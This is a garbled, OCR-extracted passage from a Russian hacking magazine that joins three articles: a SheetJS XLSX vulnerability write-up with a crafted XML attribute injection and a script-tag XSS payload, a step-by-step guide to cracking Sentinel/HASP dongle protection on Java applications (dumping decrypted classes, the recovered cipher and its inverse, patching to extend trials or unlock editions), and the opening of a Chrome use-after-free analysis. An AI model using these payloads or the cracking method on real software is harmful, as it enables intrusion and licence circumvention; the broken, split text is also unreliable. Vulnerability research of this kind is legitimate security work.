Далее может следовать любая обработка файла и т. д.
*/
res.send('Файл успешно обработан.');
});
// Обработка GET-запроса c выдачей простого документа
app.get('/getSample', function(req, res) {
var ws = XLSX.utils.aoa_to_sheet([["SheetJS"], [5433795],[123123
]]);
var wb = XLSX.utils.book_new();
XLSX.utils.book_append_sheet(wb, ws, 'Sheet1');
const xlsxData = XLSX.write(wb, { type: 'buffer' });
// Возврат обработанного файла
res.set('Content-Type', 'application/vnd.
openxmlformats-officedocument.spreadsheetml.sheet');
res.set('Content-Disposition', 'attachment;
filename="processed_file.xlsx"');
res.send(xlsxData);
});
// Запуск сервера
app.listen(3000, function() {
console.log('Сервер запущен на порте 3000');
});
Этот скрипт принима ет файл для обработ ки на эндпоинте /process, а при запросе /getSample возвра щае т пример обычного файла XLSX (который не содержи т коммента риев ).
Сделаем несколь к о запросов на сервер . Сначала обратим ся к / getSample и откроем файл, чтобы просмотреть его содержимое :
$ curl http://localhost:3000 |
|
|
|
|
|
|
||||
/getSample -o sample.xlsx |
|
|
|
|
|
|
||||
% Total |
% Received |
% Xferd |
Average Speed |
Time |
Time |
Time |
||||
Current |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Dload |
Upload |
Total |
Spent |
Left |
Speed |
|
|
|
|
|
|
|
|
|
|
0 |
0 |
0 |
0 |
0 |
0 |
0 |
0 --:--:-- --:--:-- --:- |
|||
-100 22023 |
100 22023 |
0 |
0 |
1312k |
0 |
--:--:-- --:--:-- --:--:- |
||||
- 1955k |
|
|
|
|
|
|
|
|
|
|
$ open sample.xlsx |
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
Содер жимое открытог о файла
А теперь выполним серию запросов с нашим специаль ным файлом :
$ curl -X POST --form file=@
/Users/slonser/hack_xslsx/slon.xlsx http://localhost:3000/process
Файл успешно обработан |
. |
|
|
|
|
|
|
|||
$ curl http://localhost:3000 |
|
|
|
|
|
|
||||
/getSample -o sample.xlsx |
|
|
|
|
|
|
||||
% Total |
% Received % Xferd |
Average Speed |
Time |
Time |
Time |
|||||
Current |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Dload |
Upload |
Total |
Spent |
Left |
Speed |
|
|
|
|
|
|
|
|
|
|
0 |
0 |
0 |
0 |
0 |
0 |
0 |
0 --:--:-- --:--:-- --:- |
|||
-100 22023 |
100 22023 |
0 |
0 |
1312k |
0 |
--:--:-- --:--:-- --:--:- |
||||
- 1955k |
|
|
|
|
|
|
|
|
|
|
$ open sample.xlsx |
|
|
|
|
|
|
|
|
Текущее содержимое файла
Реакция разработчиков
В версии 0.19.3 пакета XLSX разработ чики постарались устранить этот баг. Они добавили такую провер ку:
var r = decode_cell(comment.ref);
if(r.r < 0 || r.c < 0) return;
Теперь , если comment.ref содержи т невалидное название ячейки таблицы , выполнение функции прервется .
Багу выдан идентифика ционный номер CVE-2023-30533.
МОДИФИКАЦИЯ ФАЙЛОВ PERSON И THREADEDCOMMENT
Описание недостатка
Мы продол жили изучать функции , связан ные с коммента риями , и обнаружи ли возможность модифициро вать файлы person и threadedComment внутри ZIPархива .
Дело в том, что при создании файлов XLSX-атрибуты тегов внутри XMLструктуры всегда обрамляются двойными кавычками . Пример :
<comments xmlns="http://schemas.openxmlformats.org/spreadsheetml/
2006/main" ...
В функции parsexmltag, которая отвечае т за парсинг тегов, для извлечения значений атрибутов использует ся такое регулярное выражение :
var attregexg=/([^"\s?>\/]+)\s*=\s*((?:")([^"]*)(?:")|(?:')([^']*)(?:
')|([^'">\s]+))/g;
Оно явно откуда то скопиро |
вано |
и реализуе т полный |
парсинг |
атрибутов |
||||||
в соответс |
твии |
со стандартом |
RFC 5364. Здесь учтено , что атрибуты |
могут |
||||||
быть в двойных или в одинар ных кавычках . |
|
|
|
|||||||
Теперь |
посмотрим |
функцию |
, которая отвечае т за |
запись |
в theradedComment:
o.push(writextag('threadedComment', writetag('text', c.t||""), tcopts
));
...
return o.join("");
Тут ясно видно , что все части XML-документа собираются в массив , а затем объеди няют ся в одну строку . Но в этом процес се нет фильтра ции данных , поступа ющих в функцию writetag. Давай посмотрим , что у нее внутри :
function writetag(f,g) { return '<' + f + (g.match(wtregex)?' xml:
space="preserve"' : "") + '>' + g + '</' + f + '>'; }
Здесь понятно , что наши данные превраща ются в теги, но без предваритель ной фильтра ции или провер ки .
function write_people_xml(people/*, opts*/) {
var o = [XML_HEADER, writextag('personList', null, {
'xmlns': XMLNS.TCMNT,
'xmlns:x': XMLNS_main[0]
}).replace(/[\/]>/, ">")];
people.forEach(function(person, idx) {
o.push(writextag('person', null, {
displayName: person,
id: "{54EE7950-7262-4200-6969-" + ("000000000000" + idx).
slice(-12) + "}",
userId: person,
providerId: "None"
}));
});
o.push("</personList>");
return o.join("");
}
В функции write_person_xml тоже нет фильтра ции данных .
Исполь зуем уже готовый код сервера с уязвимой версией XLSX, чтобы подтвер дить наличие проблемы .
Изменим файл person.xml следующим образом :
<personList xmlns="http://schemas.microsoft.com/office/spreadsheetml/
2018/threadedcomments" xmlns:x="http://schemas.openxmlformats.org/
spreadsheetml/2006/main"><person displayName='" Slonser="SolidLab'
id="{29DB960B-0822-594C-AB20-3D499FA339C7}" userId="" providerId="AD"
/></personList>
Как видно , displayName указан внутри одинар ных кавычек. Отправим этот файл:
$ curl -X POST --form file=@/solidlab.xlsx http://local host:3000/process
Файл успешно обработан |
. |
|
|
|
|
|
|
|
$ curl http://localhost:3000/getSample -o solidlab1.xlsx |
|
|
||||||
% Total |
% Received % Xferd |
Average Speed |
Time |
Time |
Time |
|||
Current |
|
|
|
|
|
|
|
|
|
|
|
|
Dload |
Upload |
Total |
Spent |
Left |
Speed |
|
|
|
|
|
|
|
|
100 21760 |
100 21760 |
0 |
0 |
1561k |
0 --:--:-- --:--:-- --:--:-- |
|||
2125k |
|
|
|
|
|
|
|
|
Теперь распаку ем архив и просмотрим person.xml:
><person displayName="SheetJ5" id="{
54EE7950-7262-4200-6969-000000000000}" userId="SheetJ5" providerId=
"None"/><person displayName="" Slonser="SolidLab" id="{
54EE7950-7262-4200-6969-000000000001}" userId="" Slonser="SolidLab"
Тегу <threadedComment> был добавлен атрибу т Slonser со значени ем SolidLab. Такого атрибута нет в стандар тной структуре файлов формата
XLSX.
Важный момент: для эксплу ата ции этого бага не требует ся загружать фай лы с коммента риями . Если загрязне ние прототи па уже произош ло , то дос таточно , чтобы имелась функция добавления коммента риев .
В совокупности с багом, который мы обсуждали в первой части статьи, это приводи т к изменени ю структуры XML-файла во всех следующих обра батываемых файлах XLSX.
Изменение структуры XML может привес ти к различным проблемам , таким как:
•наруше ние формата файла . Изменение структуры XML может дать неверный форма т XLSX и, соответс твенно, ошибки при попытке его открыть или обработать ;
•потеря данных . Изменение структуры XML может привес ти к потере или некоррек тному отображени ю данных в файле XLSX. Можно потерять данные в таблице ;
•несоот ветствие ожидаемо му поведению . Если приложе ние,
использующее файлы XLSX, полагается на определен ную структуру XML, то изменение этой структуры может привес ти к непред сказуемому поведени ю приложе ния. Как следствие — ошибки , некоррек тные вычис ления или другие проблемы .
Реакция разработчиков
Этот недостаток не был исправлен . По мнению разработ чиков пакета, баг не несет серьезных угроз безопасности вне контек ста Prototype Pollution.
XSS
Описание недостатка
Последний недостаток , который мы нашли в пакете XLSX, — уязвимость , свя занная с межсай товым скриптингом (XSS) в функции преобра зова ния документа в HTML.
В коде функции make_html_row можн о заметить следующу ю строку :
if(cell.l && (cell.l.Target || "#").charAt(0) != "#") w = '<a href="'
+ cell.l.Target +'">' + w + '</a>';
Вызов cell.l.Target записывает ся в атрибу т href без какой либо фильтра ции. Следова тельно, из этого вызова можно выйти при загрузке файла . Дос таточн о использовать трюк из прошлой части .
Давай воспро изведем этот баг. Вот серверный код, который будет обра батывать XLSX и отправлять клиенту сгенери рованный HTML:
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
const XLSX = require("xlsx");
//Middleware для обработки файлов app.use(fileUpload());
//Принимаем POST-запрос и обрабатываем загружаемый файл app.post('/process', function(req, res) {
if (!req.files || Object.keys(req.files).length === 0) {
return res.status(400).send('Не найдены загруженные файлы.');
}
// Получаем загруженный файл
const uploadedFile = req.files.file;
let a = XLSX.read(uploadedFile.data);
console.log(a)
res.send(XLSX.utils.sheet_to_html(a.Sheets.Sheet1));
});
// Запускаем сервер
app.listen(3000, function() {
console.log('Сервер запущен на порте 3000');
});
Для демонстра ции XSS нужно :
•создать простой файл Excel и добавить ссылку на внешний ресурс в любую ячейку ;
•распаковать файл Excel, чтобы иметь возможность редактировать его содержимое ;
•в файле ./xl/worksheets/_rels/sheet1.xml.rels изменить атрибут
Target на следующее значение :
Target='https://solidlab.ru/"><script>alert("Hello from SolidLab")
</script>'
•запако вать файл обратно в форма т XLSX;
•отпра вить запрос с изменен ным файлом на сервер , который обрабаты вает файлы XLSX.
При выполнении этих шагов ты увидишь , что инъекция XSS будет выполнена при открытии файла .
Реакция разработчиков
Разработ чики постарались устранить эту уязвимость в версии пакета XLSX 0.19.3. Теперь данные из Target проходя т фильтра цию в функции
escapehtml:
if(cell.l && (cell.l.Target || "#").charAt(0) != "#") w = '<a href="'
+ escapehtml(cell.l.Target) +'">' + w + '</a>';
CVE этому багу не присвоили .
ВЫВОДЫ
Итак, мы подробн о рассмот рели ряд уязвимос тей в пакете XLSX. Тут тебе и ограничен ное загрязне ние прототи па , и уязвимость межсай тового скрип
тинга (XSS).
Если ты в своей программе используешь XLSX, это может привес ти к ряду рисков :
•при чтении недоверен ных файлов XLSX возможна кража или модификация данных , кража чужих данных и увеличе ние нагрузки на сервер ;
•при преобра зовании недоверен ных файлов XLSX в HTML (или принятия данных ячейки из недоверен ных источников ) возможна эксплу атация меж сайтовог о скриптинга и кража данных пользовате лей.
РЕКОМЕНДАЦИИ
Чтобы не сталкивать ся с описан ной проблемой , я рекомендую следующее :
1.Обновле ние ПО. Настоятель но советую обновить пакет XLSX до вер сии 0.19.3 или более поздней , где эти уязвимос ти уже устранены .
2.Валида ция входных данных . Нужн о уделить особое внимание валида ции всех входных данных , передаваемых в функции XLSX. Это сделае т при ложение в целом намного безопаснее .
3.Профилак тика Prototype Pollution. Для предот вращения Prototype Pollution следуе т избегать прямого использования пользователь ских вход ных данных в качестве ключей объекта . Если это неизбежно , рассмот ри возможность применить механизм защиты, такой как фильтра ция ключей или блокиро вание доступа к прототи пам.
4.Исполь зование механизмов безопасности . По возможнос ти при
меняй Content Security Policy для дополнитель ной защиты от XSS-атак.
Надеюсь , этот текст поможет тебе защитить свое приложе ние или успешно попентестить чужое, чтобы выдать эти рекомендации ответствен ным за раз работку .
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
КАК ВСКРЫВАЮТ ПРИЛОЖЕНИЯ, ЗАЩИЩЕННЫЕ АППАРАТНЫМ КЛЮЧОМ SENTINEL
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
Реверс |
инжиниринг |
написанных |
на Java |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||
приложе |
ний, если разработ |
чики не позабо |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
тились |
|
заранее |
|
об их |
|
защите, |
|
обычно |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
не представ |
ляет трудностей |
. Именно чтобы |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||
усложнить жизнь |
|
хакерам |
|
и |
|
исследова |
|
|
|
|
|
|
|
МВК |
|
|
|
|
||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
телям, используют |
ся различные |
инстру мен |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
ты, один из которых — защита с аппарат |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||
ным ключом |
|
Sentinel. Сегодня мы рассмот |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||
рим способ |
обхода такой защиты. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
Тем, кто читал мои предыду щие |
статьи, посвящен |
ные защите |
приложе ний |
|||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||
на Java, известн о самое слабое место такой защиты: прозрачность |
байт кода |
|||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
и невыносимая |
|
легкость |
восста нов ления |
его до исходников . |
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||
Поэто му разработ |
чики |
таких инстру мен тов стремят ся как можно хитрее |
||||||||||||||||||||||||||||||||||||||
спрятать |
|
код от любопытных глаз хакеров, используя различные |
приемы : |
|||||||||||||||||||||||||||||||||||||
обфускацию , компиляци |
ю в натив, шифрование |
. Наглядный |
пример |
пос |
||||||||||||||||||||||||||||||||||||
леднег о мы начали разбирать |
в статье «Беззащит |
ная Java. Ломаем Java |
||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||
bytecode encryption». Тогда мы останови лись |
|
на инлайн патчинге |
расшифро |
|
||||||||||||||||||||||||||||||||||||
|
|
|
|
|||||||||||||||||||||||||||||||||||||
ванног о байт кода прямо из библиоте |
ки агента JVMTI. Сегодня мы продол |
|||||||||||||||||||||||||||||||||||||||
жим эту тему и научимся патчить непосредс твен но шифрован |
ный код. |
|
|
|
|
|||||||||||||||||||||||||||||||||||
В качестве примера |
мы возьмем |
приложе ние , защищенное |
Sentinel |
|||||||||||||||||||||||||||||||||||||
Licensing API Java Class Library — специаль |
ной библиоте |
кой защиты Java- |
||||||||||||||||||||||||||||||||||||||
классов , поставля |
емой |
к ключам типа Hasp. Почитать о том, как устроена эта |
||||||||||||||||||||||||||||||||||||||
библиоте |
ка , можн о на сайте разработ |
чика . Само приложе ние защищено |
||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
||||||||||||||||||||||||||||||||||||
ключом Hasp, в его рабочем каталоге присутс тву ю т характерные |
|
для Sentinel |
||||||||||||||||||||||||||||||||||||||
файлы hasp_rt.exe, |
hasp_windows_x64_34344.dll, |
haspvlib_34344.dll |
испецифи ческие для Java HASPJava.dll, HASPJava_x64.dll,
sntljavaclsrt.dll, sntljavaclsrt_x64.dll. Detect It Easy предска зуемо указыва е т на NetHASP dongle reference и Hardlock dongle reference.
Мы по опыту знаем , что ломать эти библиоте ки «в лоб» лучше даже не пытать ся, они весьма сурово виртуали зова ны и защищены от отладки и модифи кации. Поэтому смотрим на компилиро ван ные классы , содержащи еся внутри JAR. Там тоже все мрачно : кроме главного класса , все остальные пошиф рованы с высокой энтропией , пример но как описано в статье «Беззащит ная
Java. Ломаем Java bytecode encryption». За исключени ем того, что криптор подклю чает ся не как JavaAgent при запуске приложе ния , а из главного клас са, по сути представ ляюще го собой загрузчик приложе ния c единствен но открытым кодом:
public static void main(String[] stringArray) {
try {
String string;
String string2 = System.getProperty("java.class.path");
int n = Math.max(string2.lastIndexOf("\"), string2.lastIndexOf("/
"));
String string3 = string = string2.substring(0, ++n);
if (JavaClsEntry.isWindows()) {
string3 = string3 + "sntljavaclsrt";
if (0 == System.getProperty("sun.arch.data.model").compareTo("64
")) {
string3 = string3 + "_x64";
}
string3 = string3 + ".dll";
} else if (JavaClsEntry.isLinux()) {
string3 = string3 + "libsntljavaclsrt_x86_64.so";
} else {
return;
}
File file = new File(string3);
string3 = file.getAbsolutePath();
System.load(string3);
Class<?> clazz = Class.forName("com.MainApp");
Method method = clazz.getMethod("main", String[].class);
method.invoke(null, new Object[]{stringArray});
}
catch (Exception exception) {
exception.printStackTrace();
}
Загрузчик ничего не делает , кроме как загружа е т сентинелов скую нативную библиоте ку защиты, а затем главный класс программы . Если ключ не в поряд ке, то главный класс попросту не расшифро выва ется и приложе ние рушится по неправиль ному формату байт кода класса . Собствен но , даже такую ошиб ку можн о получить только после того, как библиоте ка выдаст окошко отсутс твия ключа .
Как же нам теперь быть? Ведь, посколь ку здесь не происхо дит прямая под мена JIT-компилято ра через JavaAgent, предложен ный в упомяну той выше статье способ не годится . Попробу ем подклю читься отладчиком непосредс твенн о к JIT-компилято ру. Немного покурив документацию , обнаружи ваем в библиоте ке JVM.DLL такую функцию :
JVM_DefineClassWithSource(JNIEnv *env, const char *name, jobject
loader, const jbyte *buf, jsize len, jobject pd, const char *source)
Как видн о из описания , эта функция компилиру е т класс из массива байт кода. Длина массива , название класса и даже исходного Java-модуля прилага ется . При наличии ключа , установив в нашем любимом отладчике x64dbg точку останова на вход этой функции , мы получаем в регистре R9 рас шифрован ный класс, начиная с сигнатуры CAFEBABE, и его длину в регистре R14. В итоге его можн о легко сдампить на диск следующей командой :
savedata MainApp.class, R9, R14
В некоторых , наиболее простых случаях , когда зашифрован только главный класс, этого вполне достаточ но , чтобы снять защиту целиком, — просто запаковыва ем расшифро ван ный главный класс вместо старого и переопре деляем его в манифесте . Если зашифрован ных классов немного , то их тоже можн о сдампить по очереди и бороться с привяз кой к ключу уже в расшифро ванных классах . Обычно подобная защита предполага е т наличие в модуле
уже Java-классов Aladdin/Hasp.class, Aladdin/HaspApiVersion.class,
Aladdin/HaspStatus.class и Aladdin/HaspTime.class. Однак о зашиф
рованных классов может быть очень много , так что дампить их вручную по очереди непродук тивно.
Можно , конечно , автомати зиро вать процесс при помощи костылей — сде лать загрузчик , который подклю чает ся к запущенному процес су и сохраня ет классы из памяти по очереди , но это слишком извращен ное решение даже для меня. К тому же мы хоть и ленивые, но достаточ но любопытные и нам интерес н о докопаться до сути. Для начала — понять, как именно происхо дит расшифров ка криптован ных классов .
На первый взгляд, задача выгляди т жутковато — как я уже говорил, сен тинеловские библиоте ки по взрослому покрипто ваны и виртуали зированы, вдобавок сражают ся с отладчиком при попытке их трассиров ки. Но мы все таки попробу ем отловить момент расшифров ки. Для начала просто прер вемся в отладчике , когда появляет ся сообщение об отсутствии ключа . По сте ку вызовов мы с удивлени ем обнаружи ваем, что уши провер ки ключа в сен тинеловской библиоте ке sntljavaclsrt_x64 торча т из кернелов ской фун кции чтения файла ReadFile, а еще точнее — из ее низкоуров невого вызова
NtReadFile.
В библиоте ке sntljavaclsrt_x64 есть даже соответс тву ющая экспортиру емая функция , подменя ющая системную . Проверить это достаточ но просто : установив точку останова на вызов ReadFile из java.dll (выделен о на стеке вызовов на скриншоте ), мы обнаружи ваем , что ReadFile считыва е т уже впол не себе расшифро ван ные блоки байт кода порциями по 0x400 байт.
Таким образом , мы узнали механизм встраива ния сентинелов ской защиты в JIT-компилятор Java. Однако на этот раз нам хотелось бы пойти дальше , чем в предыду щей статье, и выяснить алгоритм шифрования байт кода. Для этог о мы сначала ставим точку останова на вызов ReadFile из java.dll.
Чтобы отфильтро вать все побочные чтения из других файлов , установим фильтр на чтение блоков только размером в 0x400 байт. Для этог о в условии останов ки прописы ваем r8==0x400. По останов ке в этой точке адрес буфера чтения будет находиться в регистре RDX — ставим точку останова на первый байт этог о буфера. Выполнение останав ливается, когда в буфер записывают ся зашифрован ные данные . Чтение байта из этого буфера тормозит ся в очень интерес ном месте — мы видим обфусцирован ный код sntljavaclsrt_x64:
00007FFC46EB31F5 | movzx ecx,byte ptr ds:[r12+rax]
00007FFC46EB31FA | mov edx,edi
00007FFC46EB31FC | shr edx,18
00007FFC46EB31FF | add edx,ecx
00007FFC46EB3201 | movzx ecx,dl
00007FFC46EB3204 | movzx r11d,byte ptr ds:[r13+rcx]
00007FFC46EB320A | lea rcx,qword ptr ds:[7FFC46EB1A46]
00007FFC46EB3211 | mov edx,ecx
00007FFC46EB3213 | and edx,ebp
00007FFC46EB3215 | xor rcx,rbp
00007FFC46EB3218 | lea rcx,qword ptr ds:[rcx+rdx*2]
00007FFC46EB321C | jmp rcx
В регистре R12 — указатель на зашифрован ный буфер, в регистре RDI — смещение в нем, в регистре R13 — указатель на некую таблицу перекодиров ки. Результа т этого фрагмента кода хранит ся в регистре R11. 7FFC46EB1A46 — слегка закодирован ный адрес следующей инструк ции . Нем ного попрыгав по обфусцирован ному коду, находим следующий фрагмент :
00007FFC46EB32DF | mov ecx,edi
00007FFC46EB32E1 | shr ecx,10
00007FFC46EB32E4 | add ecx,r11d
00007FFC46EB32E7 | movzx ecx,cl
00007FFC46EB32EA | movzx ecx,byte ptr ds:[r13+rcx+100]
00007FFC46EB32F3 | mov edx,edi
00007FFC46EB32F5 | shr edx,8
00007FFC46EB32F8 | add edx,ecx
00007FFC46EB32FA | movzx ecx,dl
00007FFC46EB32FD | movzx edx,byte ptr ds:[r13+rcx+200]
00007FFC46EB3306 | lea rcx,qword ptr ds:[7FFC46EB1A22]
00007FFC46EB330D | mov ebx,ecx
00007FFC46EB330F | and ebx,ebp
00007FFC46EB3311 | xor rcx,rbp
00007FFC46EB3314 | lea rcx,qword ptr ds:[rcx+rbx*2]
00007FFC46EB3318 | jmp rcx
Тут на выходе результат уже в RDX. И наконец, финальный фрагмент , который представ ляе т собой конец цикла по всем байтам (длина в R9) и условный переход на начало:
00007FFC46EB3273 | movzx ecx,dl
00007FFC46EB3276 | add ecx,edi
00007FFC46EB3278 | movzx ecx,cl
00007FFC46EB327B | movzx ecx,byte ptr ds:[r13+rcx+300]
00007FFC46EB3284 | mov byte ptr ds:[r12+rax],cl
00007FFC46EB3288 | add edi,1
00007FFC46EB328B | add rax,1
00007FFC46EB328F | mov ecx,r8d
00007FFC46EB3292 | and ecx,ebp
00007FFC46EB3294 | lea rdx,qword ptr ds:[7FFC46EB1A92]
00007FFC46EB329B | mov ebx,edx
00007FFC46EB329D | and ebx,ebp
00007FFC46EB329F | xor rdx,rbp
00007FFC46EB32A2 | cmp rax,r9
00007FFC46EB32A5 | lea rcx,qword ptr ds:[r10+rcx*2]
00007FFC46EB32A9 | lea rdx,qword ptr ds:[rdx+rbx*2]
00007FFC46EB32AD | cmove rdx,rcx
00007FFC46EB32B1 | jmp rdx
Как видно , несмотря на всю наворочен ность защиты, алгоритм расшифров ки простой как две копейки . Он представ ляе т собой четыре табличных преобра зования . В переводе на понятный язык программи рова ния он выгляди т при мерн о так (array — раскодиру емый фрагмент , table — таблица ):
for (int i=0;i<array.Length;i++)
{
byte r11 = table[(byte)(array[i] + (i >> 0x18))];
byte ecx = table[(byte)(r11 + (i >> 0x10))+0x100];
byte edx = table[(byte)(ecx + (i >> 0x8)) + 0x200];
array[i] = table[(byte)(edx + i)+0x300];
}
Таблица перекодиров ки размером 0x400 байт, указатель на которую находится в регистре R13, прекрасн о дампится на диск из отладчика при помощи следующей консоль ной команды :
savedata table.bin, R13, 0x400
После этог о можн о писать простень кий пакетный раскодиров щик для любого количества классов .
Взаключение рассмот рим совсем уж экзотичес кий случай . Предположим ,
унас есть защищенное подобным протек тором приложе ние и по неким при
чинам не нужн о его полность ю отвязывать от ключа , а надо просто немного расширить его функции : продлить триал , повысить редакцию , добавить опций. А требуемые возможнос ти , как назло , находятся именно в защищен ном классе . В прошлый раз мы выкрутились из такой неприят ной ситуации , на лету поправляя расшифро ван ный байт код непосредс твен но в библиоте ке защиты. В нынешнем случае мы имеем гораздо больше пространс тва для маневра — алгоритм шифрования простой , симметрич ный и реверсиру емый. Груб о говоря, обратный алгоритм шифрования выгляди т пример но так:
for (int i=0;i<array.Length;i++)
{
byte a=byte(indexOf(&table[0x300],array[i])-i);
byte b=byte(indexOf(&table[0x200],a)-(i >> 0x8));
byte c=byte(indexOf(&table[0x100],b)-(i >> 0x10));
array[i]=byte(indexOf(&table,c)-(i >> 0x18));
}
Это означает , что теперь нам не нужно извращать ся , констру ируя инлайн патч. Имея валидный ключ, мы можем расшифро вать нужный класс, поправить его, например при помощи dirtyJoe (как — я описал в статье «Гряз ный Джо. Взламыва ем Java-приложе ния с помощью dirtyJOE»), затем снова закодировать файл и перепаковать его в JAR-архив.
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
КАК РАБОТАЕТ БАГ USE AFTER
FREE В ДВИЖКЕ BLINK
В январе 2021 года вышел очеред ной ре лиз браузе ра Chrome. В нем испра вили 16 уязвимос тей . Одну из них мы с тобой сегодня разберем , чтобы понять механизм возникно вения таких багов и спо собы эксплу ата ции , с помощью которых злоумыш ленник может атаковать машину, оставшуюся без обновлений .
sploitem
Vulnerability researcher в Secware.ru @sploitem sploitem@gmail.com
Версия Chrome, о которой пойде т речь, — 87.0.4280.141. А интересу ющая нас запатченная уязвимость — CVE-2021-21112. Она касается компонен та потоков компрес сии в браузер ном движке Blink и работае т по принципу use after free. О баге сообщи л исследова тель YoungJoo Lee (@ashuu_lee) из компании
RaonWhiteHat в ноябре 2020 года через сайт bugs.chromium.org, номер отче та 1151298.
Blink — это браузер ный движок , на основе которого работае т Chrome. А потоки сжатия — это те же веб потоки (web streams), но для удобства веб разработ чиков передающиеся со сжатием . Чтобы не приходи лось тянуть за проектом зависимос ти типа zlib, создатели Chrome решили интегрировать форматы сжатия gzip и defate в движок Blink.
По сути, это удобная обертка , трансфор миру ющий поток с алгорит мом трансфор мации данных по умолчани ю (или gzip, или defate). Трансфор миру ющий поток — это объект , содержащий два потока: читаемый (readable) и записываемый (writable). А между ними находится трансфор мер , который применя е т заданный алгоритм к проходя щим между ними данным .
В статье я буду ссылать ся на старые версии специфи кации потоков и исходног о кода. По понятным причинам исходный код с тех пор изменил ся. Да и специфи кация тоже.
СТЕНД
Для воспро изве дения уязвимос ти понадобит ся стенд, состоящий из вир туальной машины и уязвимой версии Chrome. Готовую виртуаль ную машину можн о загрузить с сайта osboxes.org. Сайт предос тавля е т образы виртуаль ных машин как для VirtualBox, так и для VMware.
Я буду использовать образ Xubuntu 20 для VirtualBox. Читатель волен выбирать любой дистри бутив. Запускаем машину, обновляемся :
sudo apt update && sudo apt upgrade -y
Теперь нам нужна уязвимая версия браузе ра .
